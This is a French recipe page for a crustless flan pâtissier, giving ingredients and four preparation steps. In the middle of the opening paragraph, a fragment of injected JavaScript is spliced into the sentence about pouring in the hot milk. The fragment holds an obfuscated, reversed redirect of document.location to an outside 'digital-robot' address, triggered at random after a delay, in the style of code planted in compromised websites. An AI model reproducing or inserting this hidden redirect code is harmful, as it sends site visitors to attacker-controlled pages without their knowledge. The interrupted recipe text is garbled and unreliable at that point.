Flan pâtissier sans pâte

2017-12-24

Versez le lait dans une casserole et portez à ébullition. Dans un saladier fouettez énergiquement les œufs pendant quelques minutes, en incorporant le sucre en poudre, les sachets de sucre vanillé. Versez par petites quantités le lait chaud, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant.

Ingrédients

  • Ingrédients pour 6 personnes
  • 6 œufs entiers
  • 70 cl de lait
  • 150 g de sucre en poudre
  • 2 sachets de sucre vanillé

Préparation de la recette

Etape 1

Versez le lait dans une casserole et portez à ébullition. Dans un saladier fouettez énergiquement les œufs pendant quelques minutes, en incorporant le sucre en poudre, les sachets de sucre vanillé. Versez par petites quantités le lait chaud, tout en remuant

Etape 2

Versez cette préparation dans un moule à manqué beurré. Préchauffez le four à 180° C thermostat 6. Enfournez et faites cuire pendant 25 minutes.

Etape 3

Vérifiez la cuisson. Le dessus du flan doit être doré. Sortez le du four. Laissez le refroidir.

Etape 4

Déposez le dans le réfrigérateur pendant 30 minutes. A ce moment dégustez frais.

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